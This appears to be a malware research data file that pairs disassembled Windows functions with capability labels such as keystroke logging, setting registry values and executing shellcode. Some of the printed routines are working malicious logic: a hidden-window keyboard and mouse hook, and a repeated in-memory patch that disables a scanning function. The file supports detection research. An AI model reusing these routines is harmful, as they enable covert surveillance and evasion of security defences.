joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005360
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
lea rcx, [rsp + 0x30]
call fcn.140005500
mov rdi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140005396
mov rdi, qword [rax]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400053d6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400053d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
mov eax, dword [str.Google]
mov r9d, 2
movdqa xmm0, xmmword [0x14000b5a0]
xor r8d, r8d
movdqa xmm1, xmmword [0x14000b5c0]
mov rdx, rdi
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rcx, 0xffffffff80000001
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x58], eax
movzx eax, word [0x14000b4b0]
mov word [rsp + 0x5c], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x5e], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140005497
mov eax, dword [rbx + 0x10]
inc eax
cmp qword [rbx + 0x18], 0xf
jbe 0x140005450
mov rbx, qword [rbx]
cmp qword [rsp + 0x70], 0xf
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov r9d, 1
cmova rdx, qword [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x140005491
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x140005499
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400054d9
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054d4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400054d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
movzx eax, bl
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140009910
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rdi
ret
Function at 0x140008120
Capabilities:
Create thread
Hide graphical window
Log keystrokes via application hook

Disassembly:
sub rsp, 0xb8
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call fcn.140001240
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140004c00
lea rcx, [rsp + 0x50]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x50]
call fcn.140005360
mov ecx, 8
call fcn.140009930
lea rcx, [0x140005910]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140009050]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400082fc
cmp dword [rsp + 0x38], 0
je 0x1400082f0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400082f0
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140007b80]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000e7e0], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140007cf0]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000e800], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000826d
nop dword [rax]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140008240
mov rcx, qword [0x14000e7e0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x14000e800]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
cmp dword [rsp + 0x38], 0
je 0x140008296
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400082d6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400082d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140009910
add rsp, 0xb8
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14000a454
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a49e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a49e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a49e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a49e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a49e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a4a0
xor al, al
add rsp, 0x28
ret
Function at 0x451530
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x4516fe
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x4516b8
mov ecx, dword [rax + 0x18]
mov qword [rsp], rax
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 8], rdx
mov dword [rsp + 0x10], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], 0
movzx ebx, byte [rsp + 0x88]
mov byte [rsp + 0x28], bl
call fcn.00450e10
movsxd rax, dword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
mov edx, dword [rcx + 0x1c]
mov qword [rsp], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
mov dword [rsp + 0x10], edx
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], 0
movzx edx, byte [rsp + 0x88]
mov byte [rsp + 0x28], dl
call fcn.00450e10
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
cmp rcx, 0xffffffffffffffff
jne 0x45162c
lea rax, [0x00991a1f]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov dword [rsp + 0xa0], 0
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
cmp eax, 0xffffffff
je 0x4515fc
mov rdx, qword [rsp + 0x78]
mov rbx, qword [rdx + 0x38]
mov rsi, qword [rdx + 0x30]
cmp rcx, rbx
jge 0x4515fc
mov rdi, qword [rdx]
mov rdx, qword [rdx + 8]
jae 0x4516f2
mov ebx, dword [rsi + rcx*4]
cmp rbx, rdx
jae 0x4516e8
mov dword [rsp + 0x3c], eax
lea rax, [rdi + rbx]
mov qword [rsp + 0x48], rax
mov qword [rsp], rax
call fcn.0044f030
mov rax, qword [rsp + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0xa0], eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
lea rax, [0x00991a1f]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov dword [rsp + 0xa0], 0
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov eax, ebx
mov rcx, rdx
call fcn.004641c0
mov rax, rcx
mov rcx, rbx
call fcn.004641c0
nop
call fcn.004617d0
jmp fcn.00451530
Function at 0x451790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x4518f2
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax + 0x14]
mov qword [rsp], rax
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 8], rdx
mov dword [rsp + 0x10], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rcx
mov rbx, qword [rsp + 0x88]
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x28], 1
call fcn.00450e10
mov eax, dword [rsp + 0x30]
test eax, 7
jne 0x451812
mov dword [rsp + 0x90], eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp], rax
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
call fcn.004513d0
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x10]
mov qword [rsp + 0x58], rcx
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rdx]
mov qword [rsp + 0x48], rbx
movsxd rdx, dword [rdx + 0x14]
mov qword [rsp + 0x40], rdx
call fcn.004379b0
lea rax, [0x009974f5]
mov qword [rsp], rax
mov qword [rsp + 8], 0x10
call fcn.00438360
mov rax, qword [rsp + 0x58]
mov qword [rsp], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 8], rax
call fcn.00438360
call fcn.00437c00
mov rax, qword [rsp + 0x48]
mov qword [rsp], rax
call fcn.004381f0
call fcn.00437c00
mov rax, qword [rsp + 0x80]
mov qword [rsp], rax
call fcn.004381f0
call fcn.00437c00
mov rax, qword [rsp + 0x40]
mov qword [rsp], rax
call fcn.004381f0
call fcn.00437c00
mov eax, dword [rsp + 0x3c]
movsxd rcx, eax
mov qword [rsp], rcx
call fcn.00438180
call fcn.00437c50
call fcn.00437a40
mov eax, dword [rsp + 0x3c]
jmp 0x451801
call fcn.004617d0
jmp fcn.00451790
Function at 0x459cc0
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x459da0
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x18], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [0x00461030]
mov qword [rsp + 0x10], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00461680
mov rax, qword [rsp + 8]
mov qword [rsp + 0x88], rax
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
call fcn.004617d0
jmp fcn.00459cc0
Function at 0x463770
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x00eb0d20]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10]
lea rax, [rdx + rax*8]
xor rcx, rax
movabs rax, 0xea38ec9079f01541
imul rax, rcx
rol rax, 0x1f
movabs rcx, 0x2723a30d96da1399
imul rcx, rax
mov rax, rcx
shr rcx, 0x1d
xor rax, rcx
movabs rcx, 0x83cf8eadf876d2d7
imul rcx, rax
mov rax, rcx
shr rcx, 0x20
xor rax, rcx
mov qword [rsp + 0x18], rax
ret
cmp byte [0x00eb086c], 0
je 0x4637ad
mov rax, qword [rsp + 8]
movq xmm0, qword [rsp + 0x10]
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00eb0f80]
aesenc xmm0, xmmword [0x00eb0f90]
aesenc xmm0, xmmword [0x00eb0fa0]
movq qword [rsp + 0x18], xmm0
ret
jmp 0x4093b0

Function at 0x48a870
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rdx, qword [rsp + 0x20]
mov rbx, qword [rdx + 8]
lea rsi, [rbx + 0x2e]
imul rsi, rsi, 0xffffffffffffffe4
movabs rax, 0x5816058160581606
mov rcx, rdx
imul rsi
sar rsi, 0x3f
sar rdx, 5
sub rdx, rsi
lea rsi, [rdx + 0x15c]
sar rsi, 0x3f
shr rsi, 0x3d
lea rdx, [rsi + rdx]
lea rdx, [rdx + 0x15c]
sar rdx, 3
cmp rdx, 0x57
jae 0x48a948
lea rsi, [rdx + rdx*2]
lea rdi, [0x00e3ed40]
mov r8, qword [rdi + rsi*8 + 8]
lea r9, [r8 + rbx]
lea r9, [r9 + 0x40]
cmp r9, 0xffffffffffffffc4
jge 0x48a8f1
inc rdx
jmp 0x48a8c8
cmp r9, 0xffffffffffffffe0
jle 0x48a8fc
dec rdx
jmp 0x48a8c8
mov rbx, qword [rdi + rsi*8]
mov rax, qword [rcx]
mov rsi, rdx
mul rbx
shr rax, 0x3f
add rdx, rax
mov qword [rcx], rdx
mov rdx, qword [rcx + 8]
lea rdx, [rdx + r8]
lea rdx, [rdx + 0x40]
mov qword [rcx + 8], rdx
mov rcx, rsi
shl rsi, 3
lea rdx, [rsi - 0x15c]
neg rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, rdx
mov ecx, 0x57
call fcn.004641c0
nop
int3
Function at 0x1def058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1def1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1def089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1def06f
add dl, dl
jne 0x1def096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1def0f6
xor eax, eax
add dl, dl
jne 0x1def0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1def1ad
add dl, dl
jne 0x1def0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1def0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1def0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1def0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1def0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1def07e
mov eax, 1
add dl, dl
jne 0x1def106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1def113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1def0fb
sub eax, ebx
mov ebx, 1
jne 0x1def14c
mov ecx, 1
add dl, dl
jne 0x1def12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1def13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1def123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1def07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1def168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1def175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1def15d
cmp eax, 0x7d00
jae 0x1def19b
cmp eax, 0x500
jb 0x1def196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1def07e
cmp eax, 0x7f
ja 0x1def19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1def07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1def1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1def07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x613c1b97
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rcx, section.._____
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp - 8], rax
lea rcx, [0x613c500a]
call sym.NETUTILS.dll_base64_decode
mov rdx, rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x30], 0xb8
mov byte [rbp - 0x2f], 0x57
mov byte [rbp - 0x2e], 0
mov byte [rbp - 0x2d], 7
mov byte [rbp - 0x2c], pe_nt_image_headers64
mov byte [rbp - 0x2b], 0xc3
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8d, 0x40
movabs rdx, 0x2540be3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 6
mov r9d, 6
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x613c1c53
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rcx, section.._____
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp - 8], rax
lea rcx, [0x613c501f]
call sym.NETUTILS.dll_base64_decode
mov rdx, rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x30], 0xb8
mov byte [rbp - 0x2f], 0x57
mov byte [rbp - 0x2e], 0
mov byte [rbp - 0x2d], 7
mov byte [rbp - 0x2c], pe_nt_image_headers64
mov byte [rbp - 0x2b], 0xc3
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8d, 0x40
movabs rdx, 0x2540be3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 6
mov r9d, 6
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
nop
add rsp, 0x60
pop rbp
ret
Function at 0x613c1d0f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x613c1da9
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x1c]
lea rax, [rbp - 0x18]
mov r9, rdx
mov r8d, 0x40
movabs rdx, 0x2540be3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov byte [rbp - 0x30], 0xb8
mov byte [rbp - 0x2f], 0x57
mov byte [rbp - 0x2e], 0
mov byte [rbp - 0x2d], 7
mov byte [rbp - 0x2c], pe_nt_image_headers64
mov byte [rbp - 0x2b], 0xc3
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x18], eax
movzx eax, word [rbp - 0x2c]
mov word [rbp - 0x14], ax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x613c2260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x613c8024]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x613c237a
mov rax, qword [0x613c8028]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x613c22ae
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x613c2360
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x613c2292
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x613c23b2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x613c8028]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x613c8028]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x613c2395
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x613c2359
sub eax, 0x40
and eax, 0xffffffbf
je 0x613c2359
mov r9, rbp
add r9, qword [0x613c8028]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x613c2381
add dword [0x613c8024], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp 0x613c35f8
xor ebp, ebp
jmp 0x613c22bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x613c51d8]
mov edx, eax
call dbg.__report_error
mov rax, qword [0x613c8028]
mov edx, dword [r12 + 8]
lea rcx, [0x613c51a0]
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, [0x613c5180]
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]
jmp qword [sym.imp.msvcrt.dll_memcpy]

Function at 0x613c2f90
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x613c2fd1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x613c2fc8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x613c2fd3
add rax, 0x28
cmp rax, r9
jne 0x613c2fb4
xor eax, eax
repz ret

Function at 0x613c3080
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x613c52f0]
cmp word [rbx], 0x5a4d
je 0x613c30a0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.613c2f50
test eax, eax
je 0x613c3094
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x613c3300
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x613c8900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x613c88e0]
test rbx, rbx
je 0x613c3354
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x613c334b
test rsi, rsi
je 0x613c334b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x613c3330
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x613c8900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax